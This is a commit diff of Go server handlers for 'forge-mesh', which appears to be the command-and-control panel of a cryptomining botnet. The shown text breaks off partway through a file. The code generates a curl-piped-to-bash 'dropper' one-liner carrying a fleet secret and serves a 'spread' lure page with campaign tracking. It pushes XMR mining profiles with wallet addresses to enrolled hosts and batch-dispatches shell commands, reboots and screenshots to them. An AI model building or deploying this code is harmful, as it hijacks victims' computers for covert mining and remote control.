Initial commit: AetherForge Linux (forge-mesh) v0.1.0-dev
Some checks failed
Test / test (push) Has been cancelled
Some checks failed
Test / test (push) Has been cancelled
This commit is contained in:
28
internal/api/handlers/auth.go
Normal file
28
internal/api/handlers/auth.go
Normal file
@@ -0,0 +1,28 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
|
||||
"forge-mesh/internal/auth"
|
||||
)
|
||||
|
||||
// AuthHandlers serves login and WS ticket endpoints.
|
||||
type AuthHandlers struct {
|
||||
Tickets *auth.TicketStore
|
||||
}
|
||||
|
||||
func (h *AuthHandlers) WSTicket(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
|
||||
ticket, err := h.Tickets.Issue()
|
||||
if err != nil {
|
||||
http.Error(w, "ticket error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
_ = json.NewEncoder(w).Encode(map[string]string{"ticket": ticket})
|
||||
}
|
||||
136
internal/api/handlers/crucible.go
Normal file
136
internal/api/handlers/crucible.go
Normal file
@@ -0,0 +1,136 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"forge-mesh/internal/alerts"
|
||||
"forge-mesh/internal/auth"
|
||||
"forge-mesh/internal/fleet"
|
||||
)
|
||||
|
||||
// CrucibleHandler serves batch terminal endpoints.
|
||||
type CrucibleHandler struct {
|
||||
Store *fleet.Store
|
||||
Hub *fleet.Hub
|
||||
Crucible *fleet.CrucibleStore
|
||||
Alerts *alerts.Notifier
|
||||
OperatorClearance int
|
||||
}
|
||||
|
||||
type batchRequest struct {
|
||||
Command string `json:"command"`
|
||||
HostIDs []string `json:"host_ids"`
|
||||
All bool `json:"all"`
|
||||
}
|
||||
|
||||
func (h *CrucibleHandler) Dispatch(w http.ResponseWriter, r *http.Request) {
|
||||
if err := fleet.CheckAction(h.OperatorClearance, fleet.ActionCrucible); err != nil {
|
||||
auth.JSON(w, http.StatusForbidden, map[string]any{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
var req batchRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.Command = strings.TrimSpace(req.Command)
|
||||
if req.Command == "" {
|
||||
http.Error(w, "command required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
hostIDs := req.HostIDs
|
||||
if req.All || len(hostIDs) == 0 {
|
||||
hosts, err := h.Store.ListHosts()
|
||||
if err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
for _, host := range hosts {
|
||||
if host.Status == "online" || host.Status == "mining" {
|
||||
hostIDs = append(hostIDs, host.ID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
job := h.Crucible.Create(req.Command, hostIDs)
|
||||
action := mapCommandToAction(req.Command)
|
||||
|
||||
for _, hostID := range hostIDs {
|
||||
host, _ := h.Store.GetHost(hostID)
|
||||
hostname := hostID
|
||||
if host != nil {
|
||||
hostname = host.Hostname
|
||||
}
|
||||
|
||||
if err := fleet.CheckAction(h.OperatorClearance, action); err != nil {
|
||||
h.Crucible.AddResult(job.ID, fleet.BatchResult{
|
||||
HostID: hostID, Hostname: hostname,
|
||||
Status: "denied", Message: err.Error(),
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
cmd, err := h.Hub.DispatchCommand(hostID, action, map[string]any{"raw": req.Command})
|
||||
if err != nil {
|
||||
h.Crucible.AddResult(job.ID, fleet.BatchResult{
|
||||
HostID: hostID, Hostname: hostname,
|
||||
Status: "error", Message: err.Error(),
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
h.Crucible.AddResult(job.ID, fleet.BatchResult{
|
||||
HostID: hostID, Hostname: hostname,
|
||||
Status: "dispatched", CommandID: cmd.ID,
|
||||
})
|
||||
}
|
||||
|
||||
h.Crucible.Complete(job.ID, "completed")
|
||||
|
||||
if h.Alerts != nil && h.Alerts.Enabled() {
|
||||
h.Alerts.Send(alerts.CrucibleEvent(job.ID, len(hostIDs), req.Command))
|
||||
}
|
||||
|
||||
_ = h.Store.InsertSeerEvent("", "crucible", fmt.Sprintf(`{"job_id":"%s","command":%q}`, job.ID, req.Command))
|
||||
|
||||
auth.JSON(w, http.StatusOK, job)
|
||||
}
|
||||
|
||||
func (h *CrucibleHandler) GetJob(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
job, ok := h.Crucible.Get(id)
|
||||
if !ok {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, job)
|
||||
}
|
||||
|
||||
func (h *CrucibleHandler) History(w http.ResponseWriter, r *http.Request) {
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"jobs": h.Crucible.History(20),
|
||||
})
|
||||
}
|
||||
|
||||
func mapCommandToAction(cmd string) string {
|
||||
lower := strings.ToLower(strings.TrimSpace(cmd))
|
||||
switch {
|
||||
case strings.HasPrefix(lower, "pause"):
|
||||
return fleet.ActionPause
|
||||
case strings.HasPrefix(lower, "resume"):
|
||||
return fleet.ActionResume
|
||||
case strings.HasPrefix(lower, "reboot"):
|
||||
return fleet.ActionReboot
|
||||
case strings.HasPrefix(lower, "screenshot"):
|
||||
return fleet.ActionScreenshot
|
||||
case strings.HasPrefix(lower, "shell"):
|
||||
return fleet.ActionShell
|
||||
default:
|
||||
return fleet.ActionStatus
|
||||
}
|
||||
}
|
||||
62
internal/api/handlers/dropper.go
Normal file
62
internal/api/handlers/dropper.go
Normal file
@@ -0,0 +1,62 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"net/http"
|
||||
|
||||
"forge-mesh/internal/auth"
|
||||
"forge-mesh/internal/forge"
|
||||
)
|
||||
|
||||
// DropperHandler serves the dropper URL and one-liner info to the operator.
|
||||
type DropperHandler struct {
|
||||
DB *sql.DB
|
||||
PublicKeyHex string
|
||||
FleetSecret string
|
||||
Version string
|
||||
}
|
||||
|
||||
type DropperInfo struct {
|
||||
DropperURL string `json:"dropper_url"`
|
||||
InstallURL string `json:"install_url"`
|
||||
OneLiner string `json:"one_liner"`
|
||||
FleetSecret string `json:"fleet_secret"`
|
||||
PublicKey string `json:"public_key"`
|
||||
HasBuild bool `json:"has_build"`
|
||||
Version string `json:"version"`
|
||||
}
|
||||
|
||||
func deckURL(r *http.Request) string {
|
||||
scheme := "http"
|
||||
if r.TLS != nil || r.Header.Get("X-Forwarded-Proto") == "https" {
|
||||
scheme = "https"
|
||||
}
|
||||
return fmt.Sprintf("%s://%s", scheme, r.Host)
|
||||
}
|
||||
|
||||
// Info handles GET /api/v1/dropper — returns dropper link, one-liner, and build status.
|
||||
func (h *DropperHandler) Info(w http.ResponseWriter, r *http.Request) {
|
||||
base := deckURL(r)
|
||||
installURL := base + "/install.sh"
|
||||
dropperURL := base + "/get"
|
||||
|
||||
oneLiner := fmt.Sprintf(
|
||||
"FORGE_MESH_FLEET_SECRET=%s bash <(curl -fsSL %s)",
|
||||
h.FleetSecret, installURL,
|
||||
)
|
||||
|
||||
// Check whether a public build exists so the UI can warn if not.
|
||||
_, err := forge.LatestPublic(h.DB, "linux", "amd64")
|
||||
hasBuild := err == nil
|
||||
|
||||
auth.JSON(w, http.StatusOK, DropperInfo{
|
||||
DropperURL: dropperURL,
|
||||
InstallURL: installURL,
|
||||
OneLiner: oneLiner,
|
||||
FleetSecret: h.FleetSecret,
|
||||
PublicKey: h.PublicKeyHex,
|
||||
HasBuild: hasBuild,
|
||||
Version: h.Version,
|
||||
})
|
||||
}
|
||||
532
internal/api/handlers/extended.go
Normal file
532
internal/api/handlers/extended.go
Normal file
@@ -0,0 +1,532 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/api/types"
|
||||
"forge-mesh/internal/auth"
|
||||
"forge-mesh/internal/config"
|
||||
"forge-mesh/internal/erasure"
|
||||
"forge-mesh/internal/fleet"
|
||||
"forge-mesh/internal/policy"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// ErasureHandler serves public erasure shard endpoints.
|
||||
type ErasureHandler struct {
|
||||
Service *erasure.Service
|
||||
}
|
||||
|
||||
func (h *ErasureHandler) GetBundle(w http.ResponseWriter, r *http.Request) {
|
||||
bundleID := r.PathValue("bundle_id")
|
||||
if bundleID == "" {
|
||||
http.Error(w, "bundle_id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
bundle, err := h.Service.GetBundle(r.Context(), bundleID)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
indices, _ := h.Service.ListShards(r.Context(), bundleID)
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"bundle": bundle,
|
||||
"shards": indices,
|
||||
})
|
||||
}
|
||||
|
||||
func (h *ErasureHandler) GetShard(w http.ResponseWriter, r *http.Request) {
|
||||
bundleID := r.PathValue("bundle_id")
|
||||
indexStr := r.PathValue("index")
|
||||
if bundleID == "" || indexStr == "" {
|
||||
http.Error(w, "bundle_id and index required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
var index int
|
||||
if _, err := fmt.Sscanf(indexStr, "%d", &index); err != nil {
|
||||
http.Error(w, "invalid shard index", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
shard, err := h.Service.GetShard(r.Context(), bundleID, index)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"bundle_id": shard.BundleID,
|
||||
"shard_index": shard.ShardIndex,
|
||||
"hex": shard.Hex,
|
||||
})
|
||||
}
|
||||
|
||||
// PolicySnapshotHandler serves degraded-agent policy snapshots.
|
||||
type PolicySnapshotHandler struct {
|
||||
DB *sql.DB
|
||||
}
|
||||
|
||||
// Create handles POST /api/v1/policy/snapshot (protected).
|
||||
func (h *PolicySnapshotHandler) Create(w http.ResponseWriter, r *http.Request) {
|
||||
policy := map[string]any{
|
||||
"wallet_policy": map[string]string{"currency": "XMR"},
|
||||
"policy_from_server": true,
|
||||
"version": "1",
|
||||
}
|
||||
raw, _ := json.Marshal(policy)
|
||||
token := uuid.NewString()
|
||||
if err := SeedPolicySnapshot(r.Context(), h.DB, token, string(raw)); err != nil {
|
||||
http.Error(w, "snapshot failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"token": token,
|
||||
"url": "/api/v1/public/policy-snapshot/" + token,
|
||||
})
|
||||
}
|
||||
|
||||
func (h *PolicySnapshotHandler) Get(w http.ResponseWriter, r *http.Request) {
|
||||
token := r.PathValue("token")
|
||||
if token == "" {
|
||||
http.Error(w, "token required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
var policyJSON string
|
||||
var expires sql.NullString
|
||||
err := h.DB.QueryRowContext(r.Context(), `
|
||||
SELECT policy_json, expires_at FROM policy_snapshots WHERE token = ?`, token).
|
||||
Scan(&policyJSON, &expires)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if expires.Valid && expires.String != "" {
|
||||
if t, err := time.Parse("2006-01-02 15:04:05", expires.String); err == nil && time.Now().After(t) {
|
||||
http.Error(w, "expired", http.StatusGone)
|
||||
return
|
||||
}
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(policyJSON))
|
||||
}
|
||||
|
||||
// TrackCampaign handles GET /api/v1/public/campaign/track?c=CODE.
|
||||
func TrackCampaign(db *sql.DB) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
code := r.URL.Query().Get("c")
|
||||
if code == "" {
|
||||
http.Error(w, "c required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
trackCampaignHeat(r.Context(), db, code)
|
||||
auth.JSON(w, http.StatusOK, map[string]any{"code": code, "tracked": true})
|
||||
}
|
||||
}
|
||||
|
||||
// SpreadLander serves the Emberwake public funnel page with ?c= heat tracking.
|
||||
func SpreadLander(db *sql.DB) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
campaign := r.URL.Query().Get("c")
|
||||
if campaign != "" {
|
||||
trackCampaignHeat(r.Context(), db, campaign)
|
||||
}
|
||||
w.Header().Set("Content-Type", "text/html; charset=utf-8")
|
||||
install := "/install.sh"
|
||||
if campaign != "" {
|
||||
install += "?c=" + campaign
|
||||
}
|
||||
fmt.Fprintf(w, `<!DOCTYPE html><html><head><title>Forge Mesh Spread</title>
|
||||
<meta charset="utf-8"><style>body{font-family:system-ui;background:#0a0e14;color:#e6edf3;padding:2rem;max-width:640px;margin:auto}
|
||||
a{color:#58d1ff}</style></head>
|
||||
<body><h1>Emberwake Spread</h1><p>Campaign: <strong>%s</strong></p>
|
||||
<p><a href="%s">Summon enrolled agent</a></p></body></html>`, campaign, install)
|
||||
}
|
||||
}
|
||||
|
||||
func trackCampaignHeat(ctx context.Context, db *sql.DB, code string) {
|
||||
if db == nil || code == "" {
|
||||
return
|
||||
}
|
||||
var id string
|
||||
err := db.QueryRowContext(ctx, `SELECT id FROM campaigns WHERE code = ?`, code).Scan(&id)
|
||||
if err == sql.ErrNoRows {
|
||||
_, _ = db.ExecContext(ctx, `INSERT INTO campaigns (id, code, name, heat) VALUES (?, ?, ?, 1)`,
|
||||
uuid.NewString(), code, code)
|
||||
return
|
||||
}
|
||||
if err == nil {
|
||||
_, _ = db.ExecContext(ctx, `UPDATE campaigns SET heat = heat + 1 WHERE id = ?`, id)
|
||||
}
|
||||
}
|
||||
|
||||
// WarRoomHandler serves campaign heat dashboards.
|
||||
type WarRoomHandler struct {
|
||||
DB *sql.DB
|
||||
}
|
||||
|
||||
func (h *WarRoomHandler) ListCampaigns(w http.ResponseWriter, r *http.Request) {
|
||||
rows, err := h.DB.QueryContext(r.Context(), `
|
||||
SELECT id, code, name, COALESCE(pin,''), heat, created_at
|
||||
FROM campaigns ORDER BY heat DESC, created_at DESC LIMIT 100`)
|
||||
if err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var campaigns []types.Campaign
|
||||
for rows.Next() {
|
||||
var c types.Campaign
|
||||
var created string
|
||||
if err := rows.Scan(&c.ID, &c.Code, &c.Name, &c.Pin, &c.Heat, &created); err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
c.CreatedAt, _ = time.Parse("2006-01-02 15:04:05", created)
|
||||
campaigns = append(campaigns, c)
|
||||
}
|
||||
if campaigns == nil {
|
||||
campaigns = []types.Campaign{}
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]any{"campaigns": campaigns})
|
||||
}
|
||||
|
||||
// WireGuardHandler manages mesh peer records (operator-managed configs).
|
||||
type WireGuardHandler struct {
|
||||
DB *sql.DB
|
||||
}
|
||||
|
||||
func (h *WireGuardHandler) ListPeers(w http.ResponseWriter, r *http.Request) {
|
||||
rows, err := h.DB.QueryContext(r.Context(), `
|
||||
SELECT id, COALESCE(host_id,''), public_key, COALESCE(endpoint,''), allowed_ips, created_at
|
||||
FROM wireguard_peers ORDER BY created_at DESC LIMIT 100`)
|
||||
if err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type peer struct {
|
||||
ID string `json:"id"`
|
||||
HostID string `json:"host_id,omitempty"`
|
||||
PublicKey string `json:"public_key"`
|
||||
Endpoint string `json:"endpoint,omitempty"`
|
||||
AllowedIPs string `json:"allowed_ips"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
}
|
||||
var peers []peer
|
||||
for rows.Next() {
|
||||
var p peer
|
||||
if err := rows.Scan(&p.ID, &p.HostID, &p.PublicKey, &p.Endpoint, &p.AllowedIPs, &p.CreatedAt); err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
peers = append(peers, p)
|
||||
}
|
||||
if peers == nil {
|
||||
peers = []peer{}
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]any{"peers": peers})
|
||||
}
|
||||
|
||||
func (h *WireGuardHandler) CreatePeer(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
HostID string `json:"host_id"`
|
||||
PublicKey string `json:"public_key"`
|
||||
Endpoint string `json:"endpoint"`
|
||||
AllowedIPs string `json:"allowed_ips"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.PublicKey == "" {
|
||||
http.Error(w, "public_key required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.AllowedIPs == "" {
|
||||
req.AllowedIPs = "10.66.66.2/32"
|
||||
}
|
||||
id := uuid.NewString()
|
||||
_, err := h.DB.ExecContext(r.Context(), `
|
||||
INSERT INTO wireguard_peers (id, host_id, public_key, endpoint, allowed_ips)
|
||||
VALUES (?, ?, ?, ?, ?)`,
|
||||
id, nullIfEmpty(req.HostID), req.PublicKey, nullIfEmpty(req.Endpoint), req.AllowedIPs)
|
||||
if err != nil {
|
||||
http.Error(w, "create failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusCreated, map[string]any{
|
||||
"id": id,
|
||||
"host_id": req.HostID,
|
||||
"public_key": req.PublicKey,
|
||||
"endpoint": req.Endpoint,
|
||||
"allowed_ips": req.AllowedIPs,
|
||||
})
|
||||
}
|
||||
|
||||
// RenderConfig handles GET /api/v1/wireguard/config — wg-quick template for operators.
|
||||
func (h *WireGuardHandler) RenderConfig(w http.ResponseWriter, r *http.Request) {
|
||||
rows, err := h.DB.QueryContext(r.Context(), `
|
||||
SELECT public_key, COALESCE(endpoint,''), allowed_ips FROM wireguard_peers ORDER BY created_at`)
|
||||
if err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var buf strings.Builder
|
||||
buf.WriteString("[Interface]\nPrivateKey = <operator-private-key>\nAddress = 10.66.66.1/24\nListenPort = 51820\n\n")
|
||||
for rows.Next() {
|
||||
var pub, endpoint, allowed string
|
||||
if err := rows.Scan(&pub, &endpoint, &allowed); err != nil {
|
||||
continue
|
||||
}
|
||||
buf.WriteString("[Peer]\n")
|
||||
fmt.Fprintf(&buf, "PublicKey = %s\n", pub)
|
||||
if endpoint != "" {
|
||||
fmt.Fprintf(&buf, "Endpoint = %s\n", endpoint)
|
||||
}
|
||||
fmt.Fprintf(&buf, "AllowedIPs = %s\n\n", allowed)
|
||||
}
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
_, _ = w.Write([]byte(buf.String()))
|
||||
}
|
||||
|
||||
func nullIfEmpty(s string) sql.NullString {
|
||||
if s == "" {
|
||||
return sql.NullString{}
|
||||
}
|
||||
return sql.NullString{String: s, Valid: true}
|
||||
}
|
||||
|
||||
// LOTLTimeline returns deploy audit entries for a host.
|
||||
func (h *FleetHandler) LOTLTimeline(w http.ResponseWriter, r *http.Request) {
|
||||
hostID := r.PathValue("id")
|
||||
if hostID == "" {
|
||||
http.Error(w, "host id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
attempts, err := h.Store.ListLOTL(r.Context(), hostID, 100)
|
||||
if err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"host_id": hostID,
|
||||
"timeline": attempts,
|
||||
})
|
||||
}
|
||||
|
||||
// PushMiningProfile assigns a mining profile to a host.
|
||||
func (h *FleetHandler) PushMiningProfile(w http.ResponseWriter, r *http.Request) {
|
||||
hostID := r.PathValue("id")
|
||||
if hostID == "" {
|
||||
http.Error(w, "host id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
var req types.MiningProfileRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.WalletAddress == "" {
|
||||
http.Error(w, "wallet_address required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
profileID := req.ProfileID
|
||||
if profileID == "" {
|
||||
profileID = uuid.NewString()
|
||||
}
|
||||
name := req.Name
|
||||
if name == "" {
|
||||
name = "Fleet mining profile"
|
||||
}
|
||||
tiers := req.Tiers
|
||||
if len(tiers) == 0 {
|
||||
tiers = policy.DefaultMiningProfile(req.WalletAddress).Tiers
|
||||
}
|
||||
|
||||
profile := &types.MiningProfile{
|
||||
ID: profileID,
|
||||
Name: name,
|
||||
WalletAddress: req.WalletAddress,
|
||||
Tiers: tiers,
|
||||
PolicyFromServer: true,
|
||||
CreatedAt: time.Now().UTC(),
|
||||
UpdatedAt: time.Now().UTC(),
|
||||
}
|
||||
|
||||
ctx := r.Context()
|
||||
if err := h.Store.SaveMiningProfile(ctx, profile); err != nil {
|
||||
http.Error(w, "save profile failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if err := h.Store.AssignMiningProfile(ctx, hostID, profileID); err != nil {
|
||||
http.Error(w, "assign profile failed", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
_, _ = h.Hub.DispatchCommand(hostID, "mining_profile", map[string]any{"profile": profile})
|
||||
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"ok": true,
|
||||
"host_id": hostID,
|
||||
"profile": profile,
|
||||
})
|
||||
}
|
||||
|
||||
// HostAction is an alias for fleet command dispatch (plan parity).
|
||||
func (h *FleetHandler) HostAction(w http.ResponseWriter, r *http.Request) {
|
||||
h.Command(w, r)
|
||||
}
|
||||
|
||||
// CalibrateProfiles returns default mining tier profiles.
|
||||
func CalibrateProfiles(cfg *config.Config) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"profiles": []map[string]any{
|
||||
{
|
||||
"id": "default-xmr",
|
||||
"name": "Default XMR Chain",
|
||||
"wallet_address": cfg.WalletPolicy.DefaultWallet,
|
||||
"policy_from_server": true,
|
||||
"tiers": []map[string]any{
|
||||
{"type": "oci", "duration_minutes": 5},
|
||||
{"type": "xmrig", "duration_minutes": 15},
|
||||
{"type": "gpu", "duration_minutes": 10},
|
||||
},
|
||||
},
|
||||
},
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// SeerAPIStream serves GET /api/v1/seer (plan parity alias).
|
||||
func SeerAPIStream(store *fleet.Store, username, password string) http.HandlerFunc {
|
||||
h := &SeerHandler{Store: store, Username: username, Password: password}
|
||||
return h.Stream
|
||||
}
|
||||
|
||||
// SeedPolicySnapshot inserts a test policy snapshot token.
|
||||
func SeedPolicySnapshot(ctx context.Context, db *sql.DB, token, policyJSON string) error {
|
||||
_, err := db.ExecContext(ctx, `
|
||||
INSERT OR REPLACE INTO policy_snapshots (token, policy_json, expires_at)
|
||||
VALUES (?, ?, datetime('now', '+1 day'))`, token, policyJSON)
|
||||
return err
|
||||
}
|
||||
|
||||
// SeedCampaign inserts a war-room campaign row.
|
||||
func SeedCampaign(ctx context.Context, db *sql.DB, code, name string, heat int) error {
|
||||
_, err := db.ExecContext(ctx, `
|
||||
INSERT OR REPLACE INTO campaigns (id, code, name, heat)
|
||||
VALUES (?, ?, ?, ?)`, uuid.NewString(), code, name, heat)
|
||||
return err
|
||||
}
|
||||
|
||||
// PublicBuildsList lists public build metadata.
|
||||
func PublicBuildsList(db *sql.DB) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
rows, err := db.QueryContext(r.Context(), `
|
||||
SELECT id, os, arch, version, checksum, public
|
||||
FROM builds WHERE public = 1 ORDER BY created_at DESC LIMIT 20`)
|
||||
if err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type row struct {
|
||||
ID string `json:"id"`
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Version string `json:"version"`
|
||||
Checksum string `json:"checksum"`
|
||||
Download string `json:"download_url"`
|
||||
}
|
||||
var builds []row
|
||||
for rows.Next() {
|
||||
var b row
|
||||
var pub int
|
||||
if err := rows.Scan(&b.ID, &b.OS, &b.Arch, &b.Version, &b.Checksum, &pub); err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
b.Download = "/api/v1/public/download/" + b.ID
|
||||
builds = append(builds, b)
|
||||
}
|
||||
if builds == nil {
|
||||
builds = []row{}
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]any{"builds": builds})
|
||||
}
|
||||
}
|
||||
|
||||
// CrucibleLegacy wraps CrucibleHandler for plan route names.
|
||||
type CrucibleLegacy struct {
|
||||
*CrucibleHandler
|
||||
}
|
||||
|
||||
func (c *CrucibleLegacy) Batch(w http.ResponseWriter, r *http.Request) {
|
||||
c.Dispatch(w, r)
|
||||
}
|
||||
|
||||
func (c *CrucibleLegacy) BatchGet(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
if id == "" {
|
||||
id = strings.TrimPrefix(r.URL.Path, "/api/v1/crucible/batch/")
|
||||
}
|
||||
if id == "" || strings.Contains(id, "/") {
|
||||
http.Error(w, "batch id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
job, ok := c.Crucible.Get(id)
|
||||
if !ok {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, job)
|
||||
}
|
||||
|
||||
func (c *CrucibleLegacy) Exec(w http.ResponseWriter, r *http.Request) {
|
||||
if err := fleet.CheckAction(c.OperatorClearance, fleet.ActionShell); err != nil {
|
||||
auth.JSON(w, http.StatusForbidden, map[string]any{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
var req struct {
|
||||
HostID string `json:"host_id"`
|
||||
Command string `json:"command"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.HostID == "" || req.Command == "" {
|
||||
http.Error(w, "host_id and command required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
cmd, err := c.Hub.DispatchCommand(req.HostID, fleet.ActionShell, map[string]any{"command": req.Command})
|
||||
sent := err == nil
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"ok": sent, "host_id": req.HostID, "command": req.Command, "dispatch": cmd,
|
||||
})
|
||||
}
|
||||
101
internal/api/handlers/fleet.go
Normal file
101
internal/api/handlers/fleet.go
Normal file
@@ -0,0 +1,101 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"forge-mesh/internal/alerts"
|
||||
"forge-mesh/internal/auth"
|
||||
"forge-mesh/internal/config"
|
||||
"forge-mesh/internal/fleet"
|
||||
)
|
||||
|
||||
// FleetHandler serves fleet REST endpoints.
|
||||
type FleetHandler struct {
|
||||
Store *fleet.Store
|
||||
Hub *fleet.Hub
|
||||
Alerts *alerts.Notifier
|
||||
Cfg *config.Config
|
||||
OperatorClearance int
|
||||
}
|
||||
|
||||
func (h *FleetHandler) List(w http.ResponseWriter, r *http.Request) {
|
||||
summary, err := h.Store.BuildFleetSummary()
|
||||
if err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, summary)
|
||||
}
|
||||
|
||||
type registerRequest struct {
|
||||
Hostname string `json:"hostname"`
|
||||
Fingerprint string `json:"fingerprint"`
|
||||
Arch string `json:"arch"`
|
||||
}
|
||||
|
||||
func (h *FleetHandler) Register(w http.ResponseWriter, r *http.Request) {
|
||||
var req registerRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.Hostname == "" {
|
||||
req.Hostname = "enrolled-host"
|
||||
}
|
||||
|
||||
host, err := h.Store.TouchHost(req.Hostname, req.Fingerprint, req.Arch)
|
||||
if err != nil {
|
||||
http.Error(w, "register failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
